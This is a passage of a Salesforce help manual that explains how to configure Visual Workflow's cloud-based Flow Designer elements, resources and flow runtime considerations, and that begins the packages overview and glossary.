Connectors represent the transitions from one element to another in a flow. They control how the flow is executed and are represented as arrows on the Flow Designer canvas. Adding and Deleting Connectors To add a connector between flow elements, click the node beneath the source element and drag and drop a line anywhere onto a target element. To delete a connector, select it and press the DELETE key. If the source element has defined outcomes, when you drop the connector onto its destination, you must select which outcome to assign to the path.

Connector Properties and Expected Behavior When you click and drag an element around the canvas, both ends of the connector stay stuck to their elements and stretch to accommodate the new element position. If you move the element into a new position in the flow, you must manually adjust any connections and outcomes. Double-click a connector label to edit it. Connectors are equivalent to custom buttons for Screens and outcomes for Decisions. Deleting a connector doesn't delete the outcome associated with it, but deleting an element's outcome does delete the associated connector. Only Decisions, Steps and data elements can have more than one outgoing connector. Decision elements can't have more than two outgoing connectors. The source and destination elements for a connector can't be the same. You can't have two connectors with the same start and end element.

The Fault Connector Faults are exceptions or errors that can happen during the processing of a flow. You can gracefully handle such faults by building in fault connectors, which alter the flow execution. For example, if things don't happen as expected in a data lookup, instead of proceeding along the normal path, you can route the flow user along the fault path to see an error message. Fault connectors are only available for the following elements: Record Lookup Record Create Record Update

1755

Create

Flow Designer Elements

Send Email Convert Lead Any Apex plug-in

You can only set one fault connector per element.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Decision Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use the Decision element to evaluate whether a set of conditions are true or not and route users through the flow based on the outcome. You can use a decision element to drive your flow without explicit end-user input. For example: In a customer self-help portal, a Decision element could determine whether a customer is given a return shipping address and information (because an item is definitely faulty), or given information on how to resolve their problem themselves. Within a banking flow, a Decision element could determine if a customer should be offered a loan or not (based on results of a credit scoring formula).

To add, edit, or configure a Decision element in the Flow Designer: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Decision element into the main area of the canvas. 3. Enter a Name and Unique Name for the Decision. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. . 4. Set up the conditions for the outcome. Note: There are two operators unique to the Flow Designer that you might see, depending on the type of resource you select to the left of the operator phrase: was selectedAvailable only for Screen element choices. Lets you track whether a specific choice on a screen was selected by the user.

1756

Create

Flow Designer Elements

was visitedAvailable for any main canvas element. Lets you track whether an element in the flow was visited by the user.

Selecting either of these operators makes the right hand side of the condition statement boolean. You can then type in True or False, or use any boolean resource in the right hand side. 5. Click Add Condition to add another condition or click to remove a condition. 6. Choose under which condition(s) the decision evaluates to true: All conditions must be true (AND)The decision will evaluate to true overall if all the conditions you specified evaluate to true. One condition must be true (OR)The decision will evaluate to true overall if at least one of the conditions you specified evaluates to true.

7. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Record Create Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use the Record Create element to create a new record in Salesforce using values from your flow. For example, you could capture the name and address that a user enters into the flow, use the Record Lookup element to see if they exist in Salesforce, and if they don't, use the Record Create element to create a new record for that user. To add and configure a Record Create element: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Create element into the main area of the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Select the Salesforce object you want to create.

1757

Create

Flow Designer Elements

5. Select the field or fields from the object that you want to populate, then use the operators to define conditions. The data types of the first and third column values must match. In the third column, you can manually enter literal or merge field values. You can also select pre-defined flow values (from variables, constants or user inputs, for example). When entering a date value, you must use the MM/DD/YYYY format. 6. Click Add Row to set the value of another field. 7. Click to remove a line. 8. Optionally, assign the new record's ID to a variable so you can use it or refer to it later in the flow. The variable you choose must be of type text. 9. Click OK to accept your changes or Cancel to discard them. Important: Check your object definition to ensure that all required fields are populated with values, otherwise the record create will fail at runtime.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Record Lookup Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use a Record Lookup element (formerly Data Lookup) to find a Salesforce record and store the values from its fields into your flow. For example, you could use a Record Lookup element to: Input (or read) a bar code from a product tag and use the code to read data from the database to find out the product name or description. Look up item details to check for stock availability. Look up customer records to verify a caller's identity.

To add and configure a Record Lookup element: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Lookup element into the main area of the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric

1758

Create

Flow Designer Elements

characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Select the Salesforce object type you want to look up. 5. Set criteria to narrow your search. The data types of the first and third column values must match. In the third column, you can manually enter literal or merge field values. You can also select pre-defined flow values (from variables, constants or user inputs, for example). When entering a date value, you must use the MM/DD/YYYY format. 6. Click Add Row to add another line of criteria. 7. Click to remove a line. 8. Assign the record's field values to variables to reference them in your flow. For example, after looking up a customer's name, you could store it to use it to create a case later in your flow. a. Select the field whose value you want to assign to a variable. b. Select or type in the variable name. c. Click Add Row to assign another field value. d. Click to remove a field assignment.

9. Click OK to accept your changes or Cancel to discard them. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Record Update Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use a Record Update element (formerly Data Update) to update a set of records in Salesforce with variable, constant, input or other values from your flow. You can update a single record, or multiple records, depending on how you set your filter criteria. If you're using flows in a call center, for example, you can use a Record Update element to automatically update Salesforce with data collected from callers, such as new addresses, phone numbers, or product preferences. To add and configure an Record Update element:

1759

Create

Flow Designer Elements

1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag the Record Update element into the main area of the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Select the Salesforce object you want to update. 5. Set criteria to select which records get updated. The data types of the first and third column values must match. In the third column, you can manually enter literal or merge field values. You can also select pre-defined flow values (from variables, constants or user inputs, for example). When entering a date value, you must use the MM/DD/YYYY format. Important: You must configure at least one filter, or you will update all the records for the object.

6. Click Add Row to add another line of criteria. 7. Click to remove a line. 8. Update record fields with values from your flow: a. Select a field on the record that you want to update. b. Select a value from your flow (like a variable, constant or user input, for example) that you want to assign to the record's field. c. Click Add Row to update another field. d. Click to remove a field.

9. Click OK to accept your changes or Cancel to discard them. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Elements Adding and Configuring a Formula About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Screen Element

1760

Create

Flow Designer Elements

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

The Screen element in the cloud-based Flow Designer combines functionality from several different elements in the desktop Flow Designer, such as Form, Statement, Choice, and Question. For example, you can configure a Screen element with text fields to capture user input, choice options such as radio buttons, or a display text field to return information to your users. To add or edit a Screen element in the Flow Designer: 1. 2. 3. 4. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. From the Palette tab, drag the Screen element into the main area of the canvas. Set up your Screen by configuring fields on the General Info, Add a Field, and Field Settings tabs. Click OK to accept your changes or Cancel to discard them. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

As you progress through the Screen overlay, you can see a preview of what you're building in the right pane.

See Also:
Configuring a Dynamic Choice on a Screen Element Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Configuring the Screen Element's General Info Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. To configure the General Info tab: 1. Enter a Screen Name, then press TAB. The Unique Name field should auto-populate. 2. You can enter a different unique name for the screen.

1761

Create

Flow Designer Elements

Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows. A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 3. Enter a description. 4. In the Help Text section, enter text that will display in an informational tooltip for the screen. Inserts a help icon ( ) in the upper right corner of the flow screen. When a user hovers a mouse over the icon, your help text appears. Note: The Help Text section doesn't support merge fields. If you include a merge field in your help text, at runtime it will display the item's globally unique identifier rather than its value.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

About the Screen Element's Add A Field Tab


Available in: Enterprise, Unlimited, and Developer Editions

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. The Add a Field tab lists all the available fields you can add to your Screen. Inputs Textbox Long Text Area Number Currency Date Password

Choices Radio Buttons Drop-down List

Outputs Display Text

1762

Create

Flow Designer Elements

Add an input, output, or choice field to a Screen either by double-clicking or dragging it to the preview pane. Remove a field from the Screen overlay by hovering over it and clicking them up and down. . Reorder the fields in the preview pane by clicking and dragging

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Configuring the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Inputs: Textbox, Long Text Area, Number, Currency, Date, Password In the preview pane of the Screen overlay, click the field to configure its settings. 1. In the General Information section, customize the field: a. Enter a Label to display text to the left of the field. b. Optionally, enter a different Unique Name for your field. By default, this field is filled in with your field label. Note: A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. Enter a Default Value to show a default value as ghost text in the input field. d. For number and currency fields, you can set a Scale value. The scale is the maximum number of digits allowed to the right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when your flow runs. e. Select the Required checkbox to make the field required. f. If you're setting up a number or currency field, use the Validate checkbox to set the minimum and maximum values allowed for the field. You can enter a custom error message to display to the user if validation fails. 2. In the Help Text section, enter help text for the field. This inserts a help icon ( ) to the right of the field. When a user hovers a mouse over the icon at runtime, your help text appears. 3. Click OK to accept your changes or Cancel to discard them.

1763

Create

Flow Designer Elements

Choices: Radio Buttons, Drop-down List In the preview pane of the Screen overlay, click the field to configure its settings. 1. In the General Information section, customize the field: a. Enter a Label to display text directly above or to the left of the field. b. You can enter a different Unique Name for your field if necessary. A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. Optionally, change the Value DataType. d. Select the Required checkbox to make the field required. 2. Use the Choice Settings section to configure the choice options. a. b. c. d. e. f. Select a checkbox in the Default column to make that option the default. Enter label values for your choices. Customize the Unique Name field values if necessary. Optionally, fill in a Stored Value. Click Add Choice to add another choice option. Click Add Dynamic Choice to configure a lookup to autopopulate the choice options during runtime. See Configuring a Dynamic Choice on a Screen Element for more information. to remove a choice.

g. Click

3. In the Help Text section, enter help text for the field. This inserts a help icon ( ) to the right of the field. When a user hovers a mouse over the icon at runtime, your help text appears. 4. Click OK to accept your changes or Cancel to discard them. Note: You can't rearrange choice list items. You'll have to delete and recreate them in the desired order. If you want the choice to include only dynamic choices, then you must create the dynamic choice and then delete the default choice.

Outputs: Display Text In the preview pane of the Screen overlay, click the field to configure its settings. 1. Enter a Unique Name for the Display Text field. A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 2. Enter the text you want to display to the flow user. For example, you could use a display text field to show flow users a welcome message, a terms and conditions statement, or a description of a product or service. 3. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Configuring a Dynamic Choice on a Screen Element

1764

Create

Flow Designer Elements

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

When configuring a choice field on a Screen element, you can also set up a dynamic choice. A dynamic choice looks up data from an object and dynamically generates more options for the choice during runtime. For example, let's say you're setting up a flow for all employees of Acme Inc. and need them to identify which Acme division they work in. Instead of manually entering each division name as a separate radio button yourself, you could set up the dynamic choice to do a lookup of all instances where Acme appears in the division name. Then, when the employees step through the flow, they can select from a dynamically-generated list of all division names containing Acme. Before you set up a dynamic choice on a Screen element, first configure the General Info and Add a Field tabs, as well as the top portion of the Field Settings tab. 1. From the Choice Settings section of the Field Settings tab on the Screen overlay, click Add Dynamic Choice. 2. Enter a unique name for your dynamic choice. Note: A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 3. Select the object whose field information you want to use for the choice. 4. Set up criteria to filter the lookup, based on fields on the object. All data that meets the criteria for the fields you specify populates into your choice list at runtime. When entering a date value, you must use the MM/DD/YYYY format. 5. 6. 7. 8. 9. Click Add Row to add more criteria to the choice. Remove criteria by clicking . Select a field on the object to use as the choice's label. Select a field to use as the choice's stored value. If needed, assign the record's fields to variables so you can reference them elsewhere in your flow. Click OK to accept your changes or Cancel to discard them.

See Also:
Adding and Configuring a Screen Element Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Step Element

1765

Create

Flow Designer Elements

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use the Step element as a placeholder when you're not sure what kind of element you need. Using Step elements, you can sketch out a draft of any new flow or make conceptual changes to an existing flow. To add or edit a Step element in the Flow Designer: 1. 2. 3. 4. 5. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. From the Palette, drag the Step element into the main area of the canvas. Enter a name for the Step. Enter a description. Click OK to accept your changes or Cancel to discard them.

Steps aren't valid elements for active flows. You can have a draft flow with Steps in it and can run it in the draft state as an administrator, but you must replace the Steps with other elements before you can activate the flow and let users run it. Converting a Step into a Screen You can convert a Step into a Screen element at any time by hovering your mouse over it and clicking Things to note about converting Step elements: Upon conversion, a Step's incoming connectors are preserved, but any outgoing connectors assigned to it are deleted. After conversion, you can no longer use the Step's original unique name. .

See Also:
Adding and Configuring a Screen Element Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Managing Flow Designer Elements

1766

Create

Managing Flow Designer Elements

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Adding, Editing, and Removing Elements To add an element to the Designer main canvas, drag and drop it from the Palette in the left sidebar. To edit an element, double-click it in the main canvas, or hover your mouse over it and click . To remove an element, hover your mouse over it and click . Alternately, you can remove elements and connectors by selecting them and hitting the DELETE key. Setting a Start Element To set the starting element in your flow, hover your mouse over an element on the canvas and click . You can set any element on the canvas as the starting element. If you don't set a start element, you get a warning after saving your flow.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Flow Designer Resources


Available in: Enterprise, Unlimited, and Developer Editions

Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your flow. For example, if a user inputs the cost of a meal in a tip calculator flow, you can store that value as a constant and use it with a formula to calculate optimum tip amount based on what service level the user chooses later in the flow. Resources are non-visual elements. They won't show up on your canvas and can't be added to it. If you need to edit or delete them, you can find them on the Explorer tab. The following resources are available in the cloud-based Flow Designer: Constant Variable Formula Text Template

1767

Create

Flow Designer Resources

Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Constant


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

In order to assign constants to your flow using the Assignment element, you first need to create them. The Constant resource allows you to a define a fixed value that can be used throughout your flow. Every time you create a new constant, it is added to the Explorer tab by unique name. To create a constant: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Constant. 3. Enter a Unique Name for the constant. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows. A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Set the Data Type for the constant. 5. Enter a value for the constant. When entering a date value, you must use the MM/DD/YYYY format. 6. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Resources Adding and Configuring an Assignment Element About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Formula

1768

Create

Flow Designer Resources

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use the Formula resource to calculate a value using numeric elements in your flow. Every time you create a new formula, it is added to the Explorer tab by unique name. To create a formula: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Formula. 3. Enter a Unique Name for the formula. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. If needed, set the Scale for the formula. The scale is the maximum number of digits allowed to the right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when your flow runs. 5. Enter your formula. Use the arrowhead to select resources from your flow. See the Formulas Quick Reference Guide for a complete list of formula operators and functions supported in Salesforce. Note: Some formula operators are not supported in the cloud-based Flow Designer and will result in your formula returning a null value. See About Formulas in Flows for the complete list. 6. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Resources About the Cloud-Based Flow DesignerBeta

About Formulas in Flows


Available in: Enterprise, Unlimited, and Developer Editions

The Formula resource calculates a numeric value using functions and elements in your flow. Consider the following when working with formulas in the cloud-based Flow Designer.

1769

Create

Flow Designer Resources

You can use pure text functions in your formula, but the formula output must be numeric. Any formula that doesn't resolve to a number or contains an unsupported function returns null. If you display the result of an invalid formula to a user using a Display Text element, the formula result displays as an empty string and the user sees nothing. You can't activate a flow that contains an invalid formula. Formulas in the cloud-based Flow Designer don't support the following functions. Using these functions results in your formula returning null. GETRECORDIDS IMAGE INCLUDE INCLUDES ISCHANGED ISNEW ISPICKVAL PARENTGROUPVAL PREVGROUPVAL PRIORVALUE REQUIRE SCRIPT VLOOKUP

Your formula can't contain more than 3,000 characters.

To learn more about how formulas work in Salesforce, see About Formulas on page 1021.

Adding and Configuring a Text Template


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use the Text Template resource to create formatted text to use in your flow. For example, if you have a flow that registers people for an event, you could create an email template that includes a registrant's name, address, and other information, then use the template in an email confirmation sent out when the flow finishes. Every time you create a new text template, it is added to the Explorer tab by unique name. To add a text template: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Text Template. 3. Enter a Unique Name.

1770

Create

Flow Designer Resources

Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. In the text box, type in the text for your template. Use the Select resource drop-down to insert content from your flow (variables, constants, user input, etc.), or type it in manually. 5. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Resources About the Cloud-Based Flow DesignerBeta

Adding and Configuring a Variable


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

In order to assign variables to your flow using the Assignment element, you have to first create them. The Variable resource allows you to create updatable values to use in your flow. Every time you create a new variable, an item representing that variable is added to the Explorer tab. To create a variable: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Variable. 3. Enter a Unique Name for the variable. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Set the Data Type for the variable. 5. If needed, enter a default value for the variable or use the pull-down to assign the value of another resource as the default. If you leave this field blank, the variable value is set to null. When entering a date value, you must use the MM/DD/YYYY format. 6. Click OK to accept your changes or Cancel to discard them.

1771

Create

Running Flows

You can delete a variable at any time. Any variable assignments and allocations using the deleted variable will be set to null.

See Also:
Flow Designer Resources Adding and Configuring an Assignment Element About the Cloud-Based Flow DesignerBeta

Running Flows
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: View Setup and Configuration

To run a flow directly from the flow URL, or from a custom Force.com Flow User field enabled on the user detail page Web tab, link, or button pointing to the flow URL: To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the cloud-based Flow Designer, or to run an inactive AND flow: Force.com Flow User field enabled on the user detail page

Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in new ways. Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or from a custom Web tab, link, or button pointing to the URL. If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run. Consider the following when running flows: Don't use your browser's Back or Forward buttons to navigate through a flow. This results in inconsistent data between the flow and Salesforce. A single flow may have up to 10 different versions. When you run a flow, you see the active version, which may not necessarily be the latest version.

Flow administrators can also run flows directly from the flow detail page.

See Also:
About Visual Workflow

1772

Create

Visual Workflow Considerations

Visual Workflow Considerations


Available in: Enterprise, Unlimited, and Developer Editions

When creating, managing, and running flows, consider the permissions, use limits, and data issues. The Cloud-Based Flow Designer When entering a date value, you must use the MM/DD/YYYY format. The Flow Designer doesn't support UTF-8 encoding for text in user input fields. The Flow Designer uses the permissions assigned to the current user. Only users with the Force.com Flow User field enabled on their user detail page can run flows from within the cloud-based Flow Designer. API calls made by the Flow Designer count against your organization's API limit. Your system font settings may affect how fonts display in the Flow Designer.

Flow Administration Only files with the .flow extension can be uploaded into Salesforce. To convert .spark files into .flow files, download the latest version of the Flow Designer from the flow list page, open your file, and save it with the .flow extension. If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows. Once you edit the name and description of your flow in Salesforce, those fields no longer automatically update when you upload or activate a new version. When you activate a new version of a flow, the previous version is automatically deactivated. Flow processes currently running continue to run using the version with which they were initiated. You can't delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version. This ensures that flows in progress have time to complete. Flows that have never been activated can be deleted immediately.

Flow Runtime Don't use your browser's Back or Forward buttons to navigate through a flow. This results in inconsistent data between the flow and Salesforce. A single flow may have up to 10 different versions. When you run a flow, you see the active version, which may not necessarily be the latest version.

See Also:
About the Cloud-Based Flow DesignerBeta

Visual Workflow Accessibility Overview


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow is 508-compliant with the following exceptions:

1773

Create

Visual Workflow Terminology

Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page. There are no labels on radio buttons. Screen readers can't distinguish between questions. Questions without defined prompts may not read correctly. Errors are not noted when reading the fields.

Visual Workflow Terminology


Available in: Enterprise, Unlimited, and Developer Editions

The following terminology is used for Visual Workflow in Salesforce: Element Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting information from, flow users, or even querying, creating, updating and deleting information in Salesforce. By connecting elements together in the Flow Designer, you can create a series of screens, inputs and outputs through which users navigate. Flow A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce, it becomes an application for navigating users through a series of screens. Flow Designer (desktop) Desktop application that allows administrators to create a flow for use in Salesforce. Flow Designer (cloud-based) Cloud-based application that lets administrators create a flow for use in Salesforce. Resource Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your flow. Sub Flow A sub flow is a secondary flow that users are redirected to after completing the primary flow. Data can be passed from the primary flow into the secondary flow and vice-versa. Visual Workflow A tool consisting of the Flow Designer desktop application and a flow administration feature within Salesforce. It lets administrators create an application that navigates users through a series of screens easily without writing any code. Common usage is for call center scripts or customer surveys.

See Also:
About the Cloud-Based Flow DesignerBeta About Visual Workflow

1774

Create

Overview of Packages

PACKAGES
Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: To upload packages to the AppExchange: Create AppExchange Packages Upload AppExchange Packages

A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package, you can distribute it to other Salesforce users and organizations, including those outside your company. Packages come in two formsunmanaged and managed: Unmanaged packages Unmanaged packages are typically used to distribute open-source projects or application templates to provide developers with the basic building blocks for an application. Once the components are installed from an unmanaged package, the components can be edited in the organization they are installed in. The developer who created and uploaded the unmanaged package has no control over the installed components, and can't change or upgrade them. Unmanaged packages should not be used to migrate components from a sandbox to production organization. Instead, see Change Sets on page 2026. Managed packages Managed packages are typically used by salesforce.com partners to distribute and sell applications to customers. These packages must be created from a Developer Edition organization. Using the AppExchange and the License Management Application (LMA), developers can sell and manage user-based licenses to the app. Managed packages are also fully upgradeable. To ensure seamless upgrades, certain destructive changes, like removing objects or fields, can not be performed. Managed packages also offer the following benefits: Intellectual property protection for Apex Built-in versioning support for API accessible components Remote access support (OAuth) The ability to branch and patch a previous version The ability to seamlessly push patch updates to subscribers Unique naming of all components to ensure conflict-free installs

The following definitions illustrate these concepts:

1775

Create

Glossary

Figure 15: Unmanaged and Managed Packages Components A component is one constituent part of a package. It defines an item, such as a custom object or a custom field. You can combine components in a package to produce powerful features or applications. In an unmanaged package, components are not upgradeable. In a managed package, some components can be upgraded while others cannot. Attributes An attribute is a field on a component, such as the name of an email template or the Allow Reports checkbox on a custom object. On a non-upgradeable component in either an unmanaged or managed package, attributes are editable by both the developer (the one who created the package) and the subscriber (the one who installed the package). On an upgradeable component in a managed package, some attributes can be edited by the developer, some can be edited by the subscriber, and some are locked, meaning they cannot be edited by either the developer or subscriber. For information on which components can be included in a package and which attributes are editable for each component, see the Force.com Quick Reference for Developing Packages. Packages consist of one or more Salesforce components, which, in turn, consist of one or more attributes. Components and their attributes behave differently in managed and unmanaged packages. If you plan to distribute an app, it is important to consider packaging throughout the development process. For example: While creating your app, consider how components and their attributes behave in different packages and Salesforce editions. While preparing your app for distribution, consider how you want to release it to your customers. While installing a package, consider your organization's security and license agreements.

It is also helpful to familiarize yourself with general packaging information, such as: Package Distribution FAQs Glossary

See Also:
Managing Packages Preparing Your Apps for Distribution

Glossary
The following terms and definitions describe key application and packaging concepts and capabilities: App Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard

1776

Create

Glossary

apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange. AppExchange The AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the Force.com platform. Beta, Managed Package In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling of your intended audience to test it. Deploy To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface, you must select the Deployed option to make the functionality visible to other users. The process by which an application or other functionality is moved from development to production. To move metadata components from a local file system to a Salesforce organization. For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object is deployed, it is only available to administrators and any users with the Customize Application permission. Deprecated Component A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the component, while the component continues to function for existing subscribers and API integrations. License Management Application (LMA) A free AppExchange app that allows you to track sales leads and accounts for every user who downloads your managed package (app) from the AppExchange. License Management Organization (LMO) The Salesforce organization that you use to track all the Salesforce users who install your package. A license management organization must have the License Management Application (LMA) installed. It automatically receives notification every time your package is installed or uninstalled so that you can easily notify users of upgrades. You can specify any Enterprise, Unlimited, or Developer Edition organization as your license management organization. For more information, go to http://www.salesforce.com/docs/en/lma/index.htm. Major Release A significant release of a package. During these releases, the major and minor numbers of a package version increase to any chosen value. Managed Package A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly a License Management Organization. To support upgrades, a package must be managed. An organization can create a single managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed

1777

Create

Glossary

